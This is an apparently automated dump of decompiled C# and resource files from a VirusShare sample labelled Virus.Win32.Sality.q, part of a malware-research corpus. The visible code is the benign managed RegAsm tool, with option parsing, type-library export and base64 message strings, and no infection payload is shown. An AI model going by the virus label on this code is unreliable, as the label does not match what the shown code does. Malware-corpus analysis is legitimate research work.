auto-decompiled msil via petikvx

add

MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Abbrevs.cs

@@ -0,0 +1,68 @@
+// Decompiled with JetBrains decompiler
+// Type: RegAsm.Abbrevs
+// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe
+
+using System;
+using System.Globalization;
+
+namespace RegAsm
+{
+  internal class Abbrevs
+  {
+    private string[] m_aOptions;
+    private bool[] m_bRequiresValue;
+    private bool[] m_bCanHaveValue;
+
+    public Abbrevs(string[] aOptions)
+    {
+      this.m_aOptions = new string[aOptions.Length];
+      this.m_bRequiresValue = new bool[aOptions.Length];
+      this.m_bCanHaveValue = new bool[aOptions.Length];
+      for (int index = 0; index < aOptions.Length; ++index)
+      {
+        string str = aOptions[index].ToLower(CultureInfo.InvariantCulture);
+        if (str.StartsWith("*"))
+        {
+          this.m_bRequiresValue[index] = true;
+          this.m_bCanHaveValue[index] = true;
+          str = str.Substring(1);
+        }
+        else if (str.StartsWith("+"))
+        {
+          this.m_bRequiresValue[index] = false;
+          this.m_bCanHaveValue[index] = true;
+          str = str.Substring(1);
+        }
+        this.m_aOptions[index] = str;
+      }
+    }
+
+    public string Lookup(string strOpt, out bool bRequiresValue, out bool bCanHaveValue)
+    {
+      string lower = strOpt.ToLower(CultureInfo.InvariantCulture);
+      bool flag = false;
+      int index1 = -1;
+      for (int index2 = 0; index2 < this.m_aOptions.Length; ++index2)
+      {
+        if (lower.Equals(this.m_aOptions[index2]))
+        {
+          bRequiresValue = this.m_bRequiresValue[index2];
+          bCanHaveValue = this.m_bCanHaveValue[index2];
+          return this.m_aOptions[index2];
+        }
+        if (this.m_aOptions[index2].StartsWith(lower))
+        {
+          flag = !flag ? true : throw new ApplicationException(Resource.FormatString("Err_AmbigousOption", (object) strOpt));
+          index1 = index2;
+        }
+      }
+      if (!flag)
+        throw new ApplicationException(Resource.FormatString("Err_UnknownOption", (object) strOpt));
+      bRequiresValue = this.m_bRequiresValue[index1];
+      bCanHaveValue = this.m_bCanHaveValue[index1];
+      return this.m_aOptions[index1];
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/AssemblyInfo.cs

@@ -0,0 +1,10 @@
+using System.Reflection;
+using System.Resources;
+using System.Runtime.InteropServices;
+
+[assembly: SatelliteContractVersion("1.0.5000.0")]
+[assembly: NeutralResourcesLanguage("en-US")]
+[assembly: AssemblyDelaySign(true)]
+[assembly: AssemblyKeyFile("E:/Com99/bin/FinalPublicKey.snk")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyVersion("1.0.5000.0")]

MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/CommandLine.cs

@@ -0,0 +1,76 @@
+// Decompiled with JetBrains decompiler
+// Type: RegAsm.CommandLine
+// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe
+
+using System;
+
+namespace RegAsm
+{
+  internal class CommandLine
+  {
+    private string[] m_aArgList;
+    private Option[] m_aOptList;
+    private int m_iArgCursor;
+    private int m_iOptCursor;
+    private Abbrevs m_sValidOptions;
+
+    public CommandLine(string[] aArgs, string[] aValidOpts)
+    {
+      this.m_sValidOptions = new Abbrevs(aValidOpts);
+      string[] sourceArray1 = new string[aArgs.Length];
+      Option[] sourceArray2 = new Option[aArgs.Length];
+      int length1 = 0;
+      int length2 = 0;
+      for (int index = 0; index < aArgs.Length; ++index)
+      {
+        if (aArgs[index].StartsWith("/") || aArgs[index].StartsWith("-"))
+        {
+          string strValue = (string) null;
+          int num = aArgs[index].IndexOfAny(new char[2]
+          {
+            ':',
+            '='
+          });
+          bool bRequiresValue;
+          bool bCanHaveValue;
+          string str = this.m_sValidOptions.Lookup(num != -1 ? aArgs[index].Substring(1, num - 1) : aArgs[index].Substring(1), out bRequiresValue, out bCanHaveValue);
+          if (!bCanHaveValue && num != -1)
+            throw new ApplicationException(Resource.FormatString("Err_NoValueRequired", (object) str));
+          if (bRequiresValue && num == -1)
+            throw new ApplicationException(Resource.FormatString("Err_ValueRequired", (object) str));
+          if (bCanHaveValue && num != -1)
+          {
+            if (num == aArgs[index].Length - 1)
+            {
+              if (index + 1 == aArgs.Length)
+                throw new ApplicationException(Resource.FormatString("Err_ValueRequired", (object) str));
+              strValue = !aArgs[index + 1].StartsWith("/") && !aArgs[index + 1].StartsWith("-") ? aArgs[index + 1] : throw new ApplicationException(Resource.FormatString("Err_ValueRequired", (object) str));
+              ++index;
+            }
+            else
+              strValue = aArgs[index].Substring(num + 1);
+          }
+          sourceArray2[length2++] = new Option(str, strValue);
+        }
+        else
+          sourceArray1[length1++] = aArgs[index];
+      }
+      this.m_aArgList = new string[length1];
+      this.m_aOptList = new Option[length2];
+      Array.Copy((Array) sourceArray1, (Array) this.m_aArgList, length1);
+      Array.Copy((Array) sourceArray2, (Array) this.m_aOptList, length2);
+      this.m_iArgCursor = 0;
+      this.m_iOptCursor = 0;
+    }
+
+    public int NumArgs => this.m_aArgList.Length;
+
+    public int NumOpts => this.m_aOptList.Length;
+
+    public string GetNextArg() => this.m_iArgCursor >= this.m_aArgList.Length ? (string) null : this.m_aArgList[this.m_iArgCursor++];
+
+    public Option GetNextOption() => this.m_iOptCursor >= this.m_aOptList.Length ? (Option) null : this.m_aOptList[this.m_iOptCursor++];
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/Option.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: RegAsm.Option
+// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe
+
+namespace RegAsm
+{
+  internal class Option
+  {
+    private string m_strName;
+    private string m_strValue;
+
+    public Option(string strName, string strValue)
+    {
+      this.m_strName = strName;
+      this.m_strValue = strValue;
+    }
+
+    public string Name => this.m_strName;
+
+    public string Value => this.m_strValue;
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/REGKIND.cs

@@ -0,0 +1,15 @@
+// Decompiled with JetBrains decompiler
+// Type: RegAsm.REGKIND
+// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe
+
+namespace RegAsm
+{
+  internal enum REGKIND
+  {
+    REGKIND_DEFAULT,
+    REGKIND_REGISTER,
+    REGKIND_NONE,
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/RegAsm.cs

@@ -0,0 +1,251 @@
+// Decompiled with JetBrains decompiler
+// Type: RegAsm.RegAsm
+// Assembly: RegAsm, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+// MVID: 0D2001F8-49C5-49A7-BF2D-B8D87970A226
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd.exe
+
+using RegCode;
+using System;
+using System.Globalization;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Security.Policy;
+using System.Text;
+
+namespace RegAsm
+{
+  public class RegAsm
+  {
+    private const string strDocStringPrefix = "";
+    private const string strManagedTypeThreadingModel = "Both";
+    private const string strClassesRootRegKey = "HKEY_CLASSES_ROOT";
+    private const int SuccessReturnCode = 0;
+    private const int ErrorReturnCode = 100;
+    private const int MAX_PATH = 260;
+    internal static RegAsmOptions s_Options = (RegAsmOptions) null;
+
+    public static int Main(string[] aArgs)
+    {
+      int ReturnCode = 0;
+      if (!RegAsm.RegAsm.ParseArguments(aArgs, ref RegAsm.RegAsm.s_Options, ref ReturnCode))
+        return ReturnCode;
+      if (!RegAsm.RegAsm.s_Options.m_bSilentMode)
+        RegAsm.RegAsm.PrintLogo();
+      return RegAsm.RegAsm.Run();
+    }
+
+    public static int Run()
+    {
+      int num = 0;
+      try
+      {
+        string fullPath = Path.GetFullPath(RegAsm.RegAsm.s_Options.m_strAssemblyName);
+        if (!File.Exists(fullPath))
+        {
+          StringBuilder buffer = new StringBuilder(261);
+          if (RegAsm.RegAsm.SearchPath((string) null, RegAsm.RegAsm.s_Options.m_strAssemblyName, (string) null, buffer.Capacity + 1, buffer, (int[]) null) == 0)
+            throw new ApplicationException(Resource.FormatString("Err_InputFileNotFound", (object) RegAsm.RegAsm.s_Options.m_strAssemblyName));
+          RegAsm.RegAsm.s_Options.m_strAssemblyName = buffer.ToString();
+        }
+        else
+          RegAsm.RegAsm.s_Options.m_strAssemblyName = fullPath;
+        RegAsm.RegAsm.s_Options.m_strAssemblyName = new FileInfo(RegAsm.RegAsm.s_Options.m_strAssemblyName).FullName;
+        if (RegAsm.RegAsm.s_Options.m_strRegFileName != null)
+          RegAsm.RegAsm.s_Options.m_strRegFileName = new FileInfo(RegAsm.RegAsm.s_Options.m_strRegFileName).FullName;
+        string directoryName = Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strAssemblyName);
+        if (RegAsm.RegAsm.s_Options.m_strTypeLibName != null)
+          RegAsm.RegAsm.s_Options.m_strTypeLibName = !(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strTypeLibName) == "") ? new FileInfo(RegAsm.RegAsm.s_Options.m_strTypeLibName).FullName : Path.Combine(directoryName, RegAsm.RegAsm.s_Options.m_strTypeLibName);
+        if (RegAsm.RegAsm.s_Options.m_bTypeLibSpecified)
+        {
+          if (RegAsm.RegAsm.s_Options.m_strTypeLibName == null)
+          {
+            RegAsm.RegAsm.s_Options.m_strTypeLibName = !RegAsm.RegAsm.ContainsEmbeddedTlb(RegAsm.RegAsm.s_Options.m_strAssemblyName) ? (RegAsm.RegAsm.s_Options.m_strAssemblyName.Length < 4 || string.Compare(RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4), ".dll", true, CultureInfo.InvariantCulture) != 0 && string.Compare(RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4), ".exe", true, CultureInfo.InvariantCulture) != 0 ? RegAsm.RegAsm.s_Options.m_strAssemblyName + ".tlb" : RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(0, RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4) + ".tlb") : RegAsm.RegAsm.s_Options.m_strAssemblyName;
+            if (!Directory.Exists(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strTypeLibName)))
+              Directory.CreateDirectory(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strTypeLibName));
+          }
+          else
+          {
+            if (!Directory.Exists(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strTypeLibName)))
+              Directory.CreateDirectory(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strTypeLibName));
+            if (RegAsm.RegAsm.ContainsEmbeddedTlb(RegAsm.RegAsm.s_Options.m_strAssemblyName))
+              throw new ApplicationException(Resource.FormatString("Err_TlbNameNotAllowedWithEmbedded"));
+          }
+        }
+        if (RegAsm.RegAsm.s_Options.m_bRegFileSpecified && RegAsm.RegAsm.s_Options.m_strRegFileName == null)
+          RegAsm.RegAsm.s_Options.m_strRegFileName = RegAsm.RegAsm.s_Options.m_strAssemblyName.Length < 4 || string.Compare(RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4), ".dll", true, CultureInfo.InvariantCulture) != 0 && string.Compare(RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4), ".exe", true, CultureInfo.InvariantCulture) != 0 ? RegAsm.RegAsm.s_Options.m_strAssemblyName + ".reg" : RegAsm.RegAsm.s_Options.m_strAssemblyName.Substring(0, RegAsm.RegAsm.s_Options.m_strAssemblyName.Length - 4) + ".reg";
+        if (RegAsm.RegAsm.s_Options.m_bRegFileSpecified && !Directory.Exists(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strRegFileName)))
+          Directory.CreateDirectory(Path.GetDirectoryName(RegAsm.RegAsm.s_Options.m_strRegFileName));
+        string currentDirectory = Environment.CurrentDirectory;
+        AppDomain domain = AppDomain.CreateDomain(nameof (RegAsm), (Evidence) null, new AppDomainSetup()
+        {
+          ApplicationBase = directoryName
+        });
+        if (domain == null)
+          throw new ApplicationException(Resource.FormatString("Err_CannotCreateAppDomain"));
+        string fullName = typeof (RemoteRegAsm).Assembly.GetName().FullName;
+        RemoteRegAsm remoteRegAsm = (RemoteRegAsm) (domain.CreateInstance(fullName, "RegCode.RemoteRegAsm") ?? throw new ApplicationException(Resource.FormatString("Err_CannotCreateRemoteRegAsm"))).Unwrap();
+        if (remoteRegAsm != null)
+          num = remoteRegAsm.Run(RegAsm.RegAsm.s_Options);
+      }
+      catch (Exception ex)
+      {
+        RegAsm.RegAsm.WriteErrorMsg((string) null, ex);
+        num = 100;
+      }
+      return num;
+    }
+
+    private static bool ContainsEmbeddedTlb(string strFileName)
+    {
+      UCOMITypeLib TypeLib = (UCOMITypeLib) null;
+      try
+      {
+        RegAsm.RegAsm.LoadTypeLibEx(RegAsm.RegAsm.s_Options.m_strAssemblyName, REGKIND.REGKIND_NONE, out TypeLib);
+      }
+      catch (Exception ex)
+      {
+      }
+      return TypeLib != null;
+    }
+
+    private static void WriteErrorMsg(string strPrefix, Exception e)
+    {
+      string str = "";
+      if (strPrefix != null)
+        str = strPrefix;
+      Console.Error.WriteLine(Resource.FormatString("Msg_RegAsmErrorPrefix", e.Message == null ? (object) (str + ((object) e).GetType().ToString()) : (object) (str + e.Message)));
+    }
+
+    private static void WriteErrorMsg(string strErrorMsg) => Console.Error.WriteLine(Resource.FormatString("Msg_RegAsmErrorPrefix", (object) strErrorMsg));
+
+    private static void WriteWarningMsg(string strErrorMsg) => Console.Error.WriteLine(Resource.FormatString("Msg_RegAsmWarningPrefix", (object) strErrorMsg));
+
+    private static bool ParseArguments(
+      string[] aArgs,
+      ref RegAsmOptions Options,
+      ref int ReturnCode)
+    {
+      Options = new RegAsmOptions();
+      CommandLine commandLine;
+      try
+      {
+        commandLine = new CommandLine(aArgs, new string[10]
+        {
+          "+regfile",
+          "+tlb",
+          "unregister",
+          "registered",
+          "codebase",
+          "nologo",
+          "silent",
+          "verbose",
+          "?",
+          "help"
+        });
+      }
+      catch (ApplicationException ex)
+      {
+        RegAsm.RegAsm.PrintLogo();
+        RegAsm.RegAsm.WriteErrorMsg((string) null, (Exception) ex);
+        ReturnCode = 100;
+        return false;
+      }
+      if (commandLine.NumArgs + commandLine.NumOpts < 1)
+      {
+        RegAsm.RegAsm.PrintUsage();
+        ReturnCode = 0;
+        return false;
+      }
+      Options.m_strAssemblyName = commandLine.GetNextArg();
+      Option nextOption;
+      while ((nextOption = commandLine.GetNextOption()) != null)
+      {
+        if (nextOption.Name.Equals("regfile"))
+        {
+          Options.m_strRegFileName = nextOption.Value;
+          Options.m_bRegFileSpecified = true;
+        }
+        else if (nextOption.Name.Equals("tlb"))
+        {
+          Options.m_strTypeLibName = nextOption.Value;
+          Options.m_bTypeLibSpecified = true;
+        }
+        else if (nextOption.Name.Equals("codebase"))
+          Options.m_bSetCodeBase = true;
+        else if (nextOption.Name.Equals("unregister"))
+          Options.m_bRegister = false;
+        else if (nextOption.Name.Equals("registered"))
+          Options.m_Flags |= TypeLibExporterFlags.OnlyReferenceRegistered;
+        else if (nextOption.Name.Equals("nologo"))
+          Options.m_bNoLogo = true;
+        else if (nextOption.Name.Equals("silent"))
+          Options.m_bSilentMode = true;
+        else if (nextOption.Name.Equals("verbose"))
+        {
+          Options.m_bVerboseMode = true;
+        }
+        else
+        {
+          if (nextOption.Name.Equals("?") || nextOption.Name.Equals("help"))
+          {
+            RegAsm.RegAsm.PrintUsage();
+            ReturnCode = 0;
+            return false;
+          }
+          RegAsm.RegAsm.PrintLogo();
+          RegAsm.RegAsm.WriteErrorMsg(Resource.FormatString("Err_InvalidOption"));
+          ReturnCode = 100;
+          return false;
+        }
+      }
+      if (!Options.m_bRegister && Options.m_bRegFileSpecified)
+      {
+        RegAsm.RegAsm.PrintLogo();
+        RegAsm.RegAsm.WriteErrorMsg(Resource.FormatString("Err_CannotGenRegFileForUnregister"));
+        ReturnCode = 100;
+        return false;
+      }
+      if (Options.m_bTypeLibSpecified && Options.m_bRegFileSpecified)
+      {
+        RegAsm.RegAsm.PrintLogo();
+        RegAsm.RegAsm.WriteErrorMsg(Resource.FormatString("Err_CannotGenRegFileAndExpTlb"));
+        ReturnCode = 100;
+        return false;
+      }
+      if (Options.m_strAssemblyName != null)
+        return true;
+      RegAsm.RegAsm.PrintLogo();
+      RegAsm.RegAsm.WriteErrorMsg(Resource.FormatString("Err_NoInputFile"));
+      ReturnCode = 100;
+      return false;
+    }
+
+    private static void PrintLogo()
+    {
+      if (RegAsm.RegAsm.s_Options.m_bNoLogo)
+        return;
+      Console.WriteLine(Resource.FormatString("Msg_Copyright", (object) "1.1.4322.573"));
+    }
+
+    private static void PrintUsage()
+    {
+      RegAsm.RegAsm.PrintLogo();
+      Console.WriteLine(Resource.FormatString("Msg_Usage"));
+    }
+
+    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
+    public static extern int SearchPath(
+      string path,
+      string fileName,
+      string extension,
+      int numBufferChars,
+      StringBuilder buffer,
+      int[] filePart);
+
+    [DllImport("oleaut32.dll", CharSet = CharSet.Unicode, PreserveSig = false)]
+    private static extern void LoadTypeLibEx(
+      string strTypeLibName,
+      REGKIND regKind,
+      out UCOMITypeLib TypeLib);
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.q-546c12c90ae93fcd5a74cdd328faf956effcec6da290a1b13f3f45331b4d58cd/RegAsm.resx

@@ -0,0 +1,231 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <data name="Msg_RegScriptGenerated" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>LFJlZ2lzdHJ5IHNjcmlwdCAnezB9JyBnZW5lcmF0ZWQgc3VjY2Vzc2Z1bGx5</value>
+  </data>
+  <data name="Err_ValueRequired" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>IFRoZSAvezB9IG9wdGlvbiByZXF1aXJlcyBhIHZhbHVl</value>
+  </data>
+  <data name="Msg_TypesUnRegistered" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>H1R5cGVzIHVucmVnaXN0ZXJlZCBzdWNjZXNzZnVsbHk=</value>
+  </data>
+  <data name="Err_type librarySaveFailed" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>OkFuIGVycm9yIG9jY3VycmVkIHdoaWxlIHNhdmluZyB0aGUgZXhwb3J0ZWQgdHlwZSBsaWJyYXJ5OiA=</value>
+  </data>
+  <data name="Err_CannotGenRegFileAndExpTlb" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>N1RoZSAvcmVnZmlsZSBvcHRpb24gY2Fubm90IGJlIHVzZWQgd2l0aCB0aGUgL3RsYiBvcHRpb24=</value>
+  </data>
+  <data name="Msg_DisplayException" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>FEV4Y2VwdGlvblt7MH1dID0gezF9</value>
+  </data>
+  <data name="Err_NoValueRequired" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>KFRoZSAvezB9IG9wdGlvbiBkb2VzIG5vdCByZXF1aXJlIGEgdmFsdWU=</value>
+  </data>
+  <data name="Err_InvalidOption" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>JEFuIGludmFsaWQgb3B0aW9uIGhhcyBiZWVuIHNwZWNpZmllZA==</value>
+  </data>
+  <data name="Msg_RegAsmWarningPrefix" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>E1JlZ0FzbSB3YXJuaW5nOiB7MH0=</value>
+  </data>
+  <data name="Err_TypeLoadExceptions" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>T1RoZSBmb2xsb3dpbmcgZXhjZXB0aW9ucyB3ZXJlIHRocm93biB3aGlsZSBsb2FkaW5nIHRoZSB0eXBlcyBpbiB0aGUgYXNzZW1ibHk6DQo=</value>
+  </data>
+  <data name="Err_ErrorInUserDefFunc" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>SUFuIGVycm9yIG9jY3VycmVkIGluc2lkZSB0aGUgdXNlciBkZWZpbmVkIFJlZ2lzdGVyL1VucmVnaXN0ZXIgZnVuY3Rpb25zOiA=</value>
+  </data>
+  <data name="Err_InputFileNotFound" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>JlVuYWJsZSB0byBsb2NhdGUgaW5wdXQgYXNzZW1ibHk6ICd7MH0n</value>
+  </data>
+  <data name="Err_RegFileWouldOverwriteInput" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>LFJlZ2lzdHJ5IGZpbGUgd291bGQgb3ZlcndyaXRlIHRoZSBpbnB1dCBmaWxl</value>
+  </data>
+  <data name="Msg_type libraryLoadedAndReg" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>NVR5cGUgbGlicmFyeSAnezB9JyBsb2FkZWQgYW5kIHJlZ2lzdGVyZWQgc3VjY2Vzc2Z1bGx5</value>
+  </data>
+  <data name="Msg_DisplayNestedException" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>F0V4Y2VwdGlvblt7MH1dID09Pj4gezF9</value>
+  </data>
+  <data name="Err_TlbNameNotAllowedWithEmbedded" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>YlRoZSBuYW1lIG9mIHRoZSB0eXBlIGxpYnJhcnkgY2Fubm90IGJlIHNwZWNpZmllZCBmb3IgYXNzZW1ibGllcyBjb250YWluaW5nIGVtYmVkZGVkIHR5cGUgbGlicmFyaWVz</value>
+  </data>
+  <data name="Wrn_ComUnRegFuncOnNonPublicType" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>ZlR5cGUgJ3swfScgaGFzIGEgQ29tVW5yZWdpc3RlckZ1bmN0aW9uIHdoaWNoIHdpbGwgbm90IGJlIGNhbGxlZCBzaW5jZSB0aGUgdHlwZSBpcyBub3QgYmVpbmcgcmVnaXN0ZXJlZA==</value>
+  </data>
+  <data name="Err_CannotCreateAppDomain" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>OEVycm9yIGNyZWF0aW5nIGFuIGFwcCBkb21haW4gdG8gcGVyZm9ybSB0aGUgcmVnaXN0cmF0aW9u</value>
+  </data>
+  <data name="Err_UnknownOption" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>FFVua25vd24gb3B0aW9uOiAvezB9</value>
+  </data>
+  <data name="Err_NoInputFile" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>IE5vIGlucHV0IGZpbGUgaGFzIGJlZW4gc3BlY2lmaWVk</value>
+  </data>
+  <data name="Msg_NoRegScriptGenerated" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>SE5vIHJlZ2lzdHJ5IHNjcmlwdCB3aWxsIGJlIHByb2R1Y2VkIHNpbmNlIHRoZXJlIGFyZSBubyB0eXBlcyB0byByZWdpc3Rlcg==</value>
+  </data>
+  <data name="Err_CannotCreateRemoteRegAsm" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>SVVuYWJsZSB0byBsb2FkIHRoZSBSZW1vdGVSZWdBc20gdHlwZSByZXF1aXJlZCB0byBwZXJmb3JtIHRoZSByZWdpc3RyYXRpb24=</value>
+  </data>
+  <data name="Err_AmbigousOption" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>FkFtYmlndW91cyBvcHRpb246IC97MH0=</value>
+  </data>
